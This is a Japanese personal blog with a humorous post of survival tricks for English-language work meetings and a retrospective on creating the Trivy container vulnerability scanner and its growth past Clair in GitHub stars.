knqyf263's blog

自分のためのメモとして残しておくためのブログ。

英語ミーティングを乗り切るために身につけたバッドノウハウ

周りを見ていると何の苦もなく英語社会に適応しているわけですが、日々苦しんでいる人の奮闘記があっても良いのではないかと思って書きました。残念なエピソードを晒すことで実は自分もこうやって乗り切ってましたという人が現れお互いに助け合えることを期待しています。

概要

英語がさっぱり分からない状態のまま日本人が0の会社に入ってあっという間に2年以上経ちました。未だに日本人は自分一人ですし英語もさっぱり分からないのですが、そんな状態でよくやれてるなと最近色々な人から言われたので苦戦する中で身につけたバッドノウハウを書いておきます。バッドノウハウは以下のような定義で使っています。

バッドノウハウとは、本質的には生産性はないものの、問題解決のために必要になってしまうようなノウハウのこと。

makitani.net

つまり、英語力をあげようとかそういう本質的なことは一切言わず小手先なことを書いています。自分でもバッドノウハウと言ってますし「そんな小手先のことやってるから英語力が伸びないんだ」みたいなマジレスをされると死に至るのでやめてください。

冗談半分みたいな内容なのでネタ記事だと思って読んでください。学校や本で教わるような内容ではなく生き抜くための知恵みたいなやつです。参考にはしないでください。

出来ないとか言ってるくせに海外住んでるし何やかんやうまくやれてるんだろうみたいな疑惑をかけられることがあるのですが、「こいつマジだわ」と思ってもらえる内容だと思います。

誤解のないように強調しておきますが、出来なくて良いと言っているわけでは決してないです。急にそういうチャンスが転がってきた時に「今はまだ英語出来ないから今回は見送って次の機会までに勉強しよう」となるともったいないので、飛び込んでみて成長するまで何とか気合いでしがみついていこうという内容です。

前提

英語は全体的に不得意な方ですが、典型的日本人なので読み書きは最低限できます。ただスピーキング・リスニングは壊滅的です。特にリスニングはもう10年以上前になりますがセンター試験ではずっと平均点を切っていました。50点満点で26-28点ぐらい。つまり平均的高校生より出来ないということです。大学進学を目指している周りの人は平気で48-50点をとっている中で、自分は30点の壁が破れない...などと言っていました。もし自分は平均ぐらいはあると思う、という方は少なくとも自分よりは優秀です。

予備校の英語講師には自分の長い講師歴でこんなに模試で低い点数をとった人は初めて見た、と言われました。120点満点中42点で偏差値も同じ42だったのをよく覚えてます。長年有名予備校の講師をやっている人の最低を更新するのは逆に凄いんじゃないか?とも思いましたが、普通に落ち込みました。さすがに一人ぐらい自分より低い人いただろ、と思いましたが偏差値42だったので優秀なクラスを担当している講師だとあり得るかもなという感じです。

そこからTOEICなどは全く受けずに生きてきて、院試でTOEFLを受けさせられたのですが苦手とか言ってた周りの人間より自分が一番低い点数を叩き出しました。他にもTOEIC勉強せずに受けたからやばかったわーとか言って満点近く取ったりするような人間が周りに多かったので、英語関連の試験からはひたすら逃げ続けました。

脱線しましたが、英語本当にできないんだなというのが理解できてもらえたかと思います。読み書きは最低限できるので底辺だとは思っていませんが、海外で働くために必要なスキルは全く持ち合わせていません。

英語の残念エピソードは無限に持っています。

バッドノウハウ

では全く本質的ではない方法について話します。本当はもっとたくさんあるはずなので思い出したら追記します。

質問編

まず前提として質問は多くの場合聞き取れません。そういうときの対策です。

聞き取れなかった時にSorry?と聞き直さない

聞き取れなかった時に"Pardon?"と言うと学校では習いましたが実際には自分は聞いたことがありません。もちろん使われるシーンはあると思うのですが、"Sorry?"と聞き直されることのほうが多いです。あとはある程度関係性がある場合は"What?"と言われたり、"ちょっと分からなかった”とか"もう一度言って"みたいに言われることが多いです。

特に多いのは"Sorry?"だったので、自分も何となく使っていたのですがとある弱点に気付きました。それは、何となくこなれた感じを出してしまうことで相手は同じスピードでもう一度言うということです。日本語だと「え?」と聞き直すときは大抵ちょっと聞き逃したぐらいのノリなのでもう一度言ってもらえれば理解できますが、英語においてはその限りではありません。

つまり同じスピードでもう一度言われても同じぐらい聞き取れないということです。何なら自分は3回ぐらい聞き直しても全く同じように聞き取れないです。日本語で「昨日の夜さー」「え?」と聞き直されて「きーのーうーのーよーるーさー」とゆっくり言い直さないと思います。それと同じで"Sorry?"と聞くと「え?(ごめんちょっと集中してなくて聞き逃してしまった)」ぐらいのニュアンスになっているように感じます。

同じスピードでもう一度言ってもらうのは完全に時間の無駄なので、"もう一度ゆっくり言ってくれない?"とか次で説明するように聞こえたところを繰り返すほうが良いと思います。

日本語で「スミマセン、モウイチドオネガイシマス」と言われたら次はゆっくり言おうと思うはずなので、"モウイチドオネガイシマス"と英語で聞き返すことで「あ、こいつ得意じゃないんだな」と初手で理解してもらいましょう。

聞こえたところまで繰り返す

上の話と関連するのですが、仮に "Do you know XXX?"と聞かれてXXXが聞き取れなかったとします。この時に"Sorry?"と聞くと"Do you know XXX?"と言われて同じことの繰り返しになります。では自分がどうするかと言うと"Do you know...what?"のように聞き取れなかった部分を明確にして返します。そうするとXXXの部分だけ強調して言い直してくれる確率が高いです。ネイティブだと"Do I know...what?"みたいにyouをIにきちんと置き換えたりしてきますが、英語弱者にそんな余裕はないので聞き取れたところをオウム返しでも良いと思ってます。余裕があれば気をつけましょう。

基本的に英語は音が繋がるので文章だと聞き取れないけど単語だと聞き取れることが発生します。つまり聞き取れる確率が少し上がります。そこだけ強調されても分からない時は知らない単語だったり音を間違えて覚えているので、今度は"XXX?"と聞くと言い換えて説明してくれます。それでも分からなければ諦めましょう。

可能性のある質問全てに答える

質問をされた時に何個か単語は聞き取れて何となく聞きたいことの方向性は分かった。しかし可能性が複数あって一つに絞り込めない、という場合は上のように聞き直す方法もありますが、候補が2-3個まで絞れているなら全てに回答してしまうという手があります。クイズの早押しみたいな感覚です。

「2019年に新たにポルトガル世界遺産に登録された...」ぐらいまで問題が読み上げられたら「ブラガのボン・ジェズス・ド・モンテ聖域」と「マフラの王家の建物」!!と答えてしまうイメージです。クイズでは正解は一つですが会話では複数答えて一つがヒットすればOKです。問題文は実際には「2019年に新たにポルトガル世界遺産に登録されたもののうちブラガにあるのは?」だったかもしれませんがそこまでは聞き取れなかったので両方カバーしておきます。

ちなみに3パターンぐらい回答しても全て見当違いで"お前は何を言ってるんだ?"状態になることもよくあるので気をつけてください。諸刃の剣です。

Do you mean ~ ? で可能性を潰していく

日本語で「つまり〜ということ?」みたいに聞く時は齟齬がないように最終確認のような意味合いだと思いますが、英語における自分の使い方は違います。全然聞きとれず候補も絞り込めない、しかし何となく単語はいくつか聞こえた、という時に自分の中で仮設を立てて一か八か"Do you mean XXX?"のように聞きます。ほぼ間違っているわけですが稀にヒットすることもあり、そうなればギャンブルに勝利です。仮に間違っていても"No, no, no, YYY~"と間違っている部分を強調して話してくれるので聞き取れる確率が上がります。あとはそれも聞き取れなかったとしても、少なくともXXXの可能性はなくなったわけで、次は "Do you mean ZZZ?" と聞いていくことで次々に可能性を潰していけます。もちろんそうやっていって最後"Yes"の回答が貰えれば理解をより確実に出来るメリットもあります。

これがなぜ必要になるかと言うと、何度も"もう一度言ってくれない?"と聞き返すと気まずくなるからです。もう一度言って?は1,2回が限界なので残機を使い果たしてしまったら上の方法やこちらに切り替えるイメージです。

うかつにYES/NOで答えない

自分は良く分からない時は大体YES!!と答えています。

それを逆手に取られると困るという話をツイートしていますが、実際にはそもそもYES/NOで回答できる質問ではない場合もあります。そういう時にうっかりYES!!と言うと"いやいや..."となるので気をつけましょう。最初に5W1Hがついている場合はYES/NOの質問ではない可能性が高いので、最初の一単語目に注意しましょう。

他人に振ってみる

質問を受けたものの内容が全く聞き取れなかったとします。そういう時の新たな手法として他人に丸投げするというのがあります。"今の質問についてあなたはどう思う?"と全然関係ない人に振ります。そしてその人が回答している間に情報をひろ集めて元の質問を推測していきます。つまり質問者に聞き直すことで情報量を増やすのではなく、他人に転送することで情報量を増やす高等テクニックです。

良い質問ですねぇを使う

これも質問が分からなかった時の話です。"良い質問ですねぇ"と言った上で"今は回答を持ち合わせていない"等と適当なことを言ってお茶を濁します。

何か言いそうな雰囲気を出して時間を稼ぐ

これはもはや質問に答えない方法です。質問も分からないし打つ手なしとなった時に何か言いそうな雰囲気を出してひたすら無言で耐えます。単に無言だと聞こえてる?となりますが、何か言いそうな雰囲気を出すことで待ってもらえます。「しづる池田 インタビュー」で調べると分かりやすい動画が出ると思います。無言で顔芸で頑張ってもいいですし、"well..."とかそれっぽいことを言っても良いです。

このテクニックの何が嬉しいのかというと、自分の他に詳しい人がいたら回答してもらえる可能性があります。つまり"俺が答えるよ"という人が現れるまで時間を稼ぐテクニックです。質問者は自分に聞いたけど他の英語強者が答えてくれるというやつですね。日本語の研究発表で質問が難しすぎて大学の教授に代わりに答えてもらうやつはかなり辛いですが、英語の場合はそもそも質問すら聞き取れてないので潔く諦めましょう。

そしてもう一つ大きいのは、何か言いたそうだけど言わない姿勢を見せることで質問者側も"答えづらいのかな?"と思ってくれます。そして"ちょっと聞き方を変えるね"と言って別の切り口で質問してくれたりします。実際はただ何も聞き取れていないだけなのですが、もう一度相手がボールを持ってくれるのでチャンスが広がります。

発言編

先程までは聞かれるなど受け身の話でしたが、自分から何か発言する場合についてのテクニックを書いておきます。

How are you?を速攻でキメる

"How are you doing?"や"How’s it going?"など何でも良いのですが、ミーティング開始と同時に速攻で挨拶をします。これで無事にミーティング中に一言話すという目的を達成したのでやるべきことの8割は終わりです。

自分は中島 聡さんの「なぜ、あなたの仕事は終わらないのか スピードは最強の武器である」という本が好きなのですが、その中で「ロケットスタート時間術」という仕事術が出てきます。

なぜ、あなたの仕事は終わらないのか スピードは最強の武器である | 中島聡 | ビジネス・経済 | Kindleストア | Amazon

これは10日で仕上げるタスクであれば、2割に当たる2日間で8割終わらせるつもりで取り掛かるというものです。仕事が終わらない原因の9割を占める「締め切り間際のラストスパート」を防ぐため、最初からスタートダッシュをかけることで時間の見積もりを正確に行います。この2日間で仕事が8割終わっていれば予定通り終わりそうということで残りの8日間は流しつつ2割を仕上げますし、8割終わっていなければスケジュールの変更を早い段階で決断できます。

開幕How are you?も同じです。ミーティング中に一言も話さないと何も仕事をしなかった感じになりますが、少しでも話すだけで何かやった感じがあります。つまり初手にその目的を達してしまうことでミーティングの残りは流せます。自分はこれを「ロケットスタート英語ミーティング術」と読んでいます。

冗談半分で書いてますが、実際最初に何か少し挨拶でも良いから発言しておくことでその後話しやすくなります。ずっと無言だったのに急に発言するのは勇気がいりますし、周りも「あいつ急に話し出したぞ」と驚かずに済みます。

Can you hear me? Can you see my screen? に率先して答える

上で述べたように最初にミーティングにおける仕事の8割を終わらせているため、あとは2割です。そんな時、最近はリモート会議も多いと思うので最適な場面があります。それが"Can you hear me?"と"Can you see my screen?"です。大体1度か2度は聞かれます。その隙さえ見つければこちらのものです。率先して答えることで10割を達成できます。

話す隙があれば少しでも話すということです。そしてミュートのまま話し続けている人がいれば"ミュートになってるよ”と言えばもう勝ち確定です。もはやオーバーワークです。

How are you?にHow are you?で返す

万が一先手を取られて"How are you?"を相手に出されてしまった時の対策です。"I'm fine"とかより"I'm good"とか"I'm doing good"の方が多いわけですが、いつも同じ感じになってしまってそこそこ返しに困ります。そういう時は逆に"Hey! How are you?"とオウム返ししてしまうテクニックが使えます。もちろん"How's it going?"とか"What's up?"とか少し変えても良いです。"What' up?"と聞かれると"Nothing much"などと答えるべきなのかいつも悩むのですが、最近は"What's up?"返しで乗り切っています。

実際上で述べたように初手"How are you?"を出すようになってから、カウンター"How are you?"を食らうことが多いことに気付きました。「いやこっちが先に聞いてるんだけど...」みたいな気持ちになるわけですが、恐らく"Hi"ぐらいの意味しかないのでいちいち"good!"とか答えないのだろうと思います。

どちらが先に"How are you?"を繰り出してどうカウンターするか、というのは一瞬の駆け引きなので自分から攻めるべきか、はたまた相手からの攻撃を待ってカウンターを決めるべきかはよく見極めましょう。

発表編

ミーティングなどでは時に自分がメインで話さなければならない場合もあります。その場合の対処法です。

話し続ける

「攻撃は最大の防御」というやつです。スピーキングももちろん簡単ではないですが、適当な中学英語を話し続けるだけなら何とかなります。その結果、時間をうまく使い切ることができれば勝ちです。

質問が出ないぐらい丁寧に説明する

とにかく質問が出ないように、事前に質問を想定して全てについてこちらから説明しきります。そうすることで上で述べたように時間を使い切って質問を受ける時間を削ることができますし、そもそも丁寧に説明しているため質問も全く出ずに完封勝利を収めることができます。バッドノウハウではなく普通に良い話を書いてしまいました。

画面共有しまくる

スピーキングの話になりますが、英語のみで全てを説明するのは大変です。ですが、画面共有をして"This!"とか言っておけば一発で伝わります。これは日本語でも有用だと思いますが百聞は一見にしかずなので英語でも見せるのが早いと思います。

資料を準備する

他の人が準備無しでミーティングに臨むような場合でも、英語で説明するのは大変なので図を事前に書いたり話したいWebサイトを開いていったり準備をしっかりしていくと良いです。日本語でももちろんしたほうが良いのですが、口で説明すれば分かるだろうと油断しがちなので英語では特に意識してやるほうが良いです。

リアクション編

実際には何も理解していないのに分かっている感じを出すための方法です。

多彩な相槌を繰り出す

良く分からない時に相槌を打つときが多くあるわけですが、そのバリエーションは持っておきましょう。"I see"とか"OK"に始まり、"wow!"とか"Cool!"とか"That's nice"とか"Absolutely"とか言っておくと実際には何もわかっていなくても分かっている感じが出ます。

笑顔でいる

少しでも聞き取らなくては、とリスニングに集中していると怖い顔になります。自分もめっちゃ集中してて余裕ゼロだったので"どうした...?"と聞かれました。笑顔でいる方が分かっている感じも出ますし雰囲気も良いので頭と耳は集中させつつも外見はリラックスした感じを出す練習をしておきましょう。

笑うタイミングに気をつける

真面目な話の時はまだ良いのですが、雑談系の話になると笑いどころはかなり重要になってきます。何を言ってるか分からなくても話者の表情や抑揚などから面白いことを言っていそうという気配を察し、絶妙なタイミングで笑ってみせる必要があります。真面目な話のときは聞き返しますが、ジョークを聞き返すのは結構申し訳ない気持ちになります。雰囲気で乗り切りましょう。

シュール系ジョークに気をつける

ややこしいのはシュール系のジョークが好きな人です。真顔でボケて来られると笑うタイミングが掴めません。初見殺しです。

同僚「ジョーク(真顔)」
自分「え...?」
同僚「いやジョークだよー」

みたいなやり取りを何度もしたことがあります。滑らせた感じになってすまないと思うわけですが、もう少し分かりやすくしてくれという気持ちもあります。日本人でも自分で話して自分で笑っちゃう人がいますが、笑いどころを知る上では非常にありがたいなと最近思うようになりました。その人の性格がわかってくればジョークを言いそうなタイミングも分かってきて察することが出来るようになるため、最初はボケられても笑えない微妙な空気に耐えましょう。

メンタル編

上のように微妙な空気になっても耐えられるメンタルが必要になります。その対策です。

なぜ日本語を話さないのか?と思っておく

英語ネイティブと話す時、お互いのメイン言語が異なるという条件は同じわけで相手が日本語を話しても良いはずです。何で日本語じゃないのだろう?と内心思っておきます。そして仕方ないので自分が相手に合わせて英語を話すかという心構えでいます。そうすると相手に貸しがあるわけで、自分の英語で至らないことがあっても「これで貸し借りなしな」という気持ちになれます。

これはあくまでメンタルを強く保つための方法なので内心に留めておいて表に出すのはやめておきましょう。

でも自分めっちゃ日本語話せるしなと思っておく

英語でまくしたてられて全然聞き取れなかったとします。そんな時は「でもこれがもし日本語だったら余裕で聞き取れるな。何ならもっと速く話せるぜ」と思っておきましょう。

追記: まさにこれという画像を頂いたので載せておきます

分からなくても死なないと思っておく

車の運転時とかミサイルが撃ち込まれた時とか命に関わるような話はちゃんと理解しないとダメですが、普通の会社のミーティングで何か分からないことがあっても生きていけます。「さっぱりわからん!!!」ぐらいのテンションでいましょう。

強めの"は?“に備える

自分が何か発言した時に結構強めに“は?“と言われて精神がやられる時があります。恐らく"Huh?"なので強い意味はなく日本語の「え?」ぐらいのニュアンスだと思います。あちらも心を折りに来ているわけではない(多分)ので、事前に備えておけば耐えられます。

その他編

ペース配分を考える

ミーティングが一時間もあったら英語弱者にとってそんな長時間集中し続けるのはまず不可能です。ここぞの時に集中するためにペース配分を考えて試合を進める必要があります。時には大胆に集中力をオフにしてボケーッとしていきましょう。

最後に名前を呼ぶタイプの人に気をつける

質問をする時、"Hey @knqyf263, I think ~"のように最初に注意をひきつけてくれる人は良いのですが、中には "I think xxx yyy zzz~, what do you think? @knqyf263" のように話の最後に急に振ってくる人もいます。こちらとしては何か長めに話し始めた時点でオフになって集中力が0になっていることも多く急に振られても何も話を聞いておらず詰みます。

これは対策が難しいのですが、最初の何文かを集中して聞いて関係なさそうと分かったらオフになりましょう。あとはよくそういう振り方をしてくる人をマークしておいて、その人が話し始めたら感度を上げるのも大事です。

初対面の人と大事なミーティングをしない

やはりある程度慣れというものがあると感じています。何回か話した人は多少は聞き取りやすくなります。一方で初対面だと絶望的に聞き取れない場合があります。そのような状況で何か大事なミーティングをしていると何も分からないまま大事な決定がなされていきます。

自分は恐ろしいほど聞き取れなかったので適当に返していたのですが、あとで聞いたら全然自分の想定と違う決定になっていて急いで謝りました。どうしても初対面の人と大事なミーティングをする場合は議事録残しましょうと最初に提案しましょう。

真面目編

今まではしょうもない内容でしたが、最後に少し真面目なことも書いておきます。

事前に議題を聞く

カレンダーにある程度要点を書いてくれる人はいいのですが、"Discussion" ぐらいのタイトルで詳細なしにミーティングをセットしてくる人もたまにいます(実際にはもう少しちゃんと書いてますがいずれにせよ詳細がわからないレベル)。そういう時はチャットなどで事前に"今日ミーティングセットしてたけど何について話すの?"と聞いておきましょう。何ならそのチャットだけで用件が済むこともありミーティングを未然に防ぐことが出来る場合もあります。

あとで要点を送ってもらうよう依頼する

これは社外の人から説明を受けた場合などによく使う方法です。例えば税理士から丁寧に説明してもらっても大体単語も難しいのでさっぱり分かりません。そういう場合はミーティングの最後に"要点だけ後で送ってもらえますか?"と依頼します。OKと言いつつ送ってくれないことも多いですが、送ってくれた場合はDeepL使えば何とかなります。

ボディランゲージを駆使する

これはあたり前のことなのですがやはり重要なので一応書いておきます。困ったら大体身振り手振りしておけば伝わります。

大きな声ではっきりと話す

これもよく言われることですが、小さい声でモゴモゴ言うと余計に伝わらないので下手でも大きな声ではっきりと話しましょう。

否定疑問文にYES/NOで答えない

"Don’t you like sushi?"と聞かれた場合、日本語だと「はい、好きではないです」となるのでYESと言いたくなりますが実際はNOです。食事の好みぐらいなら間違ってもいいですが、重要な質問で逆の回答をしてしまうと非常に困ります。これは中学で習うような話なので全員知っていることだとは思いますが、いざ会話中に使われると間違うことも多いです。頭の中で"Don't you"を"Do you"に置き換えて回答するなどの手もありますが、それでも自分は混乱するのでYES/NOで答えずに "I like it" のように文章で答えるようにしています。それなら確実に伝わります。

まとめ

しょうもないテクニックを駆使しないでちゃんと勉強しましょう。

おまけ

学校で習わないけれど日常会話ではよく使われる表現というのが多数存在し、それらを知らないせいで聞き取れないのだろうという指摘を以前妻から受けました。海外ドラマを見ると良いと言われましたが、自分の英語力では見てもさっぱり理解できないので面白くないと伝えたところフレンズという有名なドラマの解説動画を妻が作ってくれました。

自分はawesomeとかweirdとかすら知らないレベルだったので動画を見て少しずつ勉強しています。日常会話のドラマなので学んだフレーズが実際にミーティング中に使われることも多く、「勉強したやつだ!」となるようになってきました。小手先のテクニックを使わずに済むように頑張ります。

宣伝みたいになっちゃうので一番下にこっそり置いておきます。

www.youtube.com

趣味で作ったソフトウェアが海外企業に買われ分野世界一になるまでの話

2年前の2019年8月に以下のブログを書きました。

knqyf263.hatenablog.com

今回はその続きです。前回のブログは多くの人に読んでもらうことを意識して書きましたが、今回はそうではないです。特に得た学びを書くわけでもなく何で作り始めたのか?とかどんなことがあったのか?とか思い出話を書いているだけなので、言ってしまえば自己満足の記事です。それで構わない人や前回の記事を見てその後どうなったか気になった人だけが読んでもらえますと幸いです。

誰かのためになるわけでもない過去の出来事について語るのは老人感が強くて基本的に好きではないのですが、自分の中で一番大きかった目標を達成したので節目として書いています。

英語版の記事も会社のブログから公開しています。英語版のほうが簡潔で良い可能性もあります。日本語版は誤った解釈をされると嫌だからもう少し詳細に書こう、を繰り返していつも長くなりすぎます。

blog.aquasec.com

繰り返しになりますが、この先長い上に何も得るものがない可能性があります。前回の記事のように何か面白い話を期待して読むと恐らく期待はずれです。

はじめに

概要

前回のブログを書いた時はまだイスラエルにすら行っておらず、ビザは7月末に出ると弁護士に言われ家を解約したものの結局ビザが間に合わずにホームレス生活を送っている最中でした。そんな全く先の見えない状態でブログを公開するのは正直かなり怖いものがありました。イスラエルに行って周りの優秀さに圧倒されて何も通用せずに帰国したり、買われたソフトウェアも将来性が見出せず結局すぐにメンテナンスフェーズに移行したりという可能性もありました。技術面以外でも行ったことすらない国に行っていきなり住むというのは博打要素がありますし、そもそも英語が全然出来ないので会話できずにクビという可能性も十分あり得ました。

結論から言うとこの2年間大きな問題もなく集中してやらせていただけて、既存の競合OSSを超えるという目標を達成することができました。今の会社に買収される前からの目標だったので約3年越しです。足したい機能はまだまだありますし目標達成したので終わりという感じは全くないのですが、一つの区切りではあるかなと思ったので振り返りを書いておこうと思います。

タイトルで分野世界一と強めの言葉を使っていますが、本記事内ではGitHubのスター数が一番多いことを世界一と表現しています。この点については後述します。

自分はTrivyというコンテナイメージの脆弱性スキャナーを作ったのですが、この分野にはClairという絶対的王者がいました。当時、Amazon ECR, GitLab, Harborなどコンテナ脆弱性スキャンを提供しているところは全てClairを使っていました。この分野では間違いなく世界で一番有名で、世界一使われていたOSSでした。自分はClairがこの分野で世界一だと思っていましたし打倒Clairで開発を始めたので、今回GitHubのスター数でClairを追い越したというのは自分にとっては想像もしていなかったぐらい非常に大きい出来事でした。

Clairのリリースは2015年で、自分が開発を始めた2019年時点で既にスター数は5,000を超えていました。その差を覆すのはほぼ不可能だろうと自分でも思っていただけにとても嬉しいです。以下にスター数の変遷のグラフを載せておきます。この2年で結構良いペースで伸びています。図にはGrypeというOSSも含めているのですが、このツールについては後述します。

f:id:knqyf263:20210729134356p:plain

Clairは元々Quayというコンテナレジストリのために開発されたツールでしたが、その後CoreOSに買収されます。そしてCoreOSはRed Hatに買収されます。さらにRed HatIBMに買収されましたわらしべ長者みたいなストーリーですが、つまり今ClairはRed HatIBMという大企業にメンテナンスされています。ちなみに元々の開発者は弊社CTOの友人なのですが、IBMを既に抜けています。大企業は持っている資金も人的リソースも段違いなので圧倒的パワーで今後追い越される可能性もありますが、とりあえず現時点では上回っています。まだ僅差なのでブログ公開直後に抜かれたら残念な感じになりますが、一瞬でも夢を見られたということで書き残しておきます。

GitHubスターについて

OSSをやっているとどうしてもGitHubのスター数というのは意識せざるを得ないため、せっかくなので一般的な話も含め少しまとめておきます。

OSS以外の有償の商品でもっと凄いのがある」とか「GitHubのスター数が少なくても良いOSSはある」といった指摘に対しては自分も賛同しますが、今回はあくまでGitHubスター数による評価なんだなと思ってください。他の観点で見たら全然一番ではないという事はあり得ますが、例えば大学ランキングとかも評価軸を変えたら全然順位が異なるわけで今回もその程度の意味合いだと思ってください。「お前がそう思うんならそうなんだろう お前ん中ではな」ぐらいで構いません。とはいえOSSにおけるGitHubスター数というのは「からあげグランプリ 金賞」よりは納得感のある評価軸だと思っています。

注意点として、言語やカテゴリ異なるとスター数の伸び方も全く異なるので統一的な指標として機能するわけではないです。JavaScriptは開発者の母数が多いので伸びやすいとか、グラフィカルなツールは実際に試す前に何となくスター付けるから伸びやすいとか、細かい違いはたくさんあります。

マーケティングのテクニックによっても左右されるところがあります。大企業が公開するとそれだけで注目されたりもします。スター数と知名度が必ずしも比例するわけでもありません。

例えばログ収集ツールだと自分はFluentdが好きで、実際日本ではFluentdが一番有名な感じがしますが、スター数ではElastic社のLogstashの方が上です。これはLogstashがElasticsearchやKibanaなど他のツールとの親和性が高いことや、Elastic社のマーケティング戦術なども影響していると思いますし、必ずしも「スター数が多い=優れている」というわけではないことは強調しておきます。両方使ったことがありますがどちらも良いツールです。

f:id:knqyf263:20210729134731p:plain

また、GitHubで公開されていないソフトウェアもあります。スター数は少ないけどユーザ数は多いライブラリなども多数存在します。例えば意識して使っていないけれど間接的に利用しているケースなどが挙げられます。本来は利用統計が取れると良いのですが、そういうコードをOSSに埋め込むと間違いなくコミュニティから激しい反発に合うはずなので普通は難しいです。

そういう事情もあり、やはり類似ツールを比較する上ではスター数というのは一つの指標としては機能するかと思います。言うまでもないですがスター数だけを求めるようなのは虚しいですし開発者として何も楽しくないので、良いものを作ってその結果評価してもらえるという形が良いです。そもそも上辺だけ取り繕ってもすぐにユーザにバレます。小さな改善を地道に続けた結果、見える数字もついてくるというのが一番だと思います。

時系列

過去のことは自分でも忘れつつあるのでツイートとか見て思い出しつつ簡単に振り返ります。この辺りの話は断片的に別のところでも書いたことがあるのですが、もう少し当時の心境とか細々したことを書きます。

開発を始めるまで

元々脆弱性が好きでしたが、自分で探すバグハンターのような仕事よりシステムをセキュアにすることに興味があることにしばらくして気付きました。そしてVulsというOSSのサーバ脆弱性スキャナーの開発に参加するようになりました。

github.com

当時サーバを管理していたので便利に使っていたのですが、しばらくしてコンテナ技術を利用するようになりました。コンテナならばもっと早い段階(CI上など)で脆弱性が検知できれば便利だなと考え、既存のOSSを探しました。そこでClairに出会うのですが、Clairはクライアント・サーバ型でサーバを事前に準備する必要がありCI/CDのようになるべく状態を持ちたくない環境には不向きに見えました。

これは今考えれば当然で、Clairは上述したようにコンテナレジストリ向けに作られたものだからです。目的が違うのだから自分の用途に合わなくて当たり前です。

Vulsもサーバ用に作られたものなので目的が異なります。サーバにSSHでログインしてスキャンできるため多数のサーバであっても軽量に実行できるのが強みですが、CI上での実行となるとやはり不向きでした。そこで元々Vulsで改善したい点もいくつかあったので、それらを踏まえて新たなスキャナーを作ることにしました。

その時のアイディアをVulsの開発者である @kotakanbe さんに話して、Clair倒せるやつ作ろうなどと某キャンプの打ち上げで言っていたのを覚えています。2018年の秋ぐらいでした。そこからずっと構想を温めていたのですが本業も忙しかったので、たまたま当時自分の所属していた企業にインターンに来ていた @hurry_41さんに構想の一部を切り出してテーマとしてやってもらったりしました。

そこからしばらく忙しかったため開発には取り掛かれずにいました。しかし @kotakanbe さんや @tomoyamachi さんの後押しやちょうどゴールデンウィークが10連休だったこともあり開発に着手しました。その辺りの話は別の場所でも書いたので省略します。

仕事が忙しくてその頃あまりOSSやれていなかったのですが、以前に作ったOSSに対してありがたいコメントが来ていてやっぱりOSS良いなと思ったのもやる気になったきっかけの一つです。Issueのタイトルにもrespectivelyって書いててややこしいですが本文にdeep respectと書いてあります。

あと、いつか作ろうなどと言っていてずっと作り始めず他の人が既に作ってしまったということもありました。実はVulsもその一つだったのですが、毎回「それ作りたかったやつ〜」とあとで言うだけの人間になっているように自分で感じていました。

当時既にコンテナイメージの脆弱性を検知するツールは複数存在していたのですが、自分のアイディアと似たものはありませんでした。今のアイディアを先に誰かに作られたら一生後悔するなと思ってGW10連休を費やす決心をしました。

開発中

構想を練っていた時、コンテナを実行せずにコンテナイメージを解析するということにこだわりを感じるようになっていました。当時の既存ツールの中には実行して解析するものもいくつかありましたが、自分としては絶対に実行したくありませんでした。そのことを周りの人に話したのですが、「コンテナ実行すれば良くない?何が駄目なの?」という反応でした。今考えればランタイムへの依存が不要になったりレイヤー単位でキャッシュできるようになったりといくつも利点を挙げられるのですが、当時は「何が駄目とかではなく自分がどうしてもやりたくない」という論理性のかけらもない理由で強くこだわっていました。こういう謎のこだわりを捨てずに済むのが個人プロジェクトの良いところかと思います。仕事だとまず無理です。

他にも自分が絶対にこだわりたかったのは、シングルバイナリで提供して適当にどこかにおけばすぐ使えるようにするという点でした。これはつまり外部のOSコマンドや他の言語(TrivyはGoで書いているのでGo以外)のライブラリが使えないことを意味します。例えばRubyの依存ライブラリ一覧を取得する際、 gem listbundle list を実行すれば一発なわけですが、そういったショートカットができません。CGOによりCは使えたりしますが、クロスコンパイルが難しくなるので禁止しました。じゃあどうするかと言うと各言語の実装を理解して全てGoで書き直す必要があります。気の遠くなる作業ですが、そういったところで開発者が楽をするとユーザの利便性が低下します。

ここはしんどくても譲れないという想いが強かったため、まずapk, dpkg, rpmコマンドの実装を読んでOSパッケージを表示するために何をしているのか調べ、次にBundlerの実装を読んでGemfile.lockのパース方法を調べ、といったことを繰り返しました。

他のOSSを見渡しても普通に外部コマンドを実行していて誰もそんなところにこだわりは持っていませんでしたが、これまた個人でやっていたのでこういった細かい部分に時間をかけられました。実際には rpm コマンドへの依存だけGW中に倒すことができず最初は依存がある状態だったのですが、しばらくしてそれも解決しました。その辺りの細かい話は以下に書いてあります。タイトルはいかつめですが、競合OSSであるGrypeのメンテナと協力した良い話です。

knqyf263.hatenablog.com

そしてもう一つのこだわりは設定や事前準備不要でいきなり使えるようにするという点でした。他のツールは手元で脆弱性DBを構築し、設定ファイルを書いて...などと実行前に事前準備が必要なものがほとんどでした。セキュリティに時間もお金もかけたくない人・組織がほとんどなのにこんなに設定が面倒だとさらにセキュリティから遠ざかってしまうと感じていました。そのため、コンテナイメージ名を指定するだけでDocker EngineやDocker Registryから自動的にイメージを探して取得してくれて、DBも勝手に良い感じにしてくれるツールを目指しました。そうすることでとりあえずこのツール入れておくか、となってセキュリティがもう少し身近なものになってくれるかもしれないと期待していました。

最後のこだわりはやはり精度です。セキュリティのツールで誤検知ばかりするツールもありますが、そうするとやがてオオカミ少年のように誰も信じてくれなくなります。つまり、セキュリティ上の問題があると主張する以上は極力正しくてはならないというのが自分の譲れないポリシーでした。精度は高いべきというのは当たり前に思うかもしれませんが、世の中意外とえいやでやっているツールも多いです。

実際、他のツールの精度を評価したらイマイチなものが多いことが分かりました。ちなみに当時の結果ではClairの精度は他よりも高く、こういう差がユーザ評価にも反映されているなと感じました。やはり精度にこだわるのは間違っていないと確信を深めました。

そしてずっと引きこもって開発していたらどんどんこだわりが強くなって頑固親父みたいになっていき、謎の自信も湧いてきて「やってやるぞ!!」という意思表明をしたりもしてました。

大言壮語ではなくなって良かったです。

公開後

GWで開発したと言っていますが実際に公開したのは2019/05/17だったのでGWを1週間以上過ぎています。この延長期間は開発というよりは、ドキュメントにこだわり始めたら終わらなくなった感じでした。

以前petというOSSを公開したときは公開直後にあっという間にスター数が1,000を超えていたのですが、Trivyの時は公開してもしばらくはあまり伸びず駄目だったかと諦めつつありました。

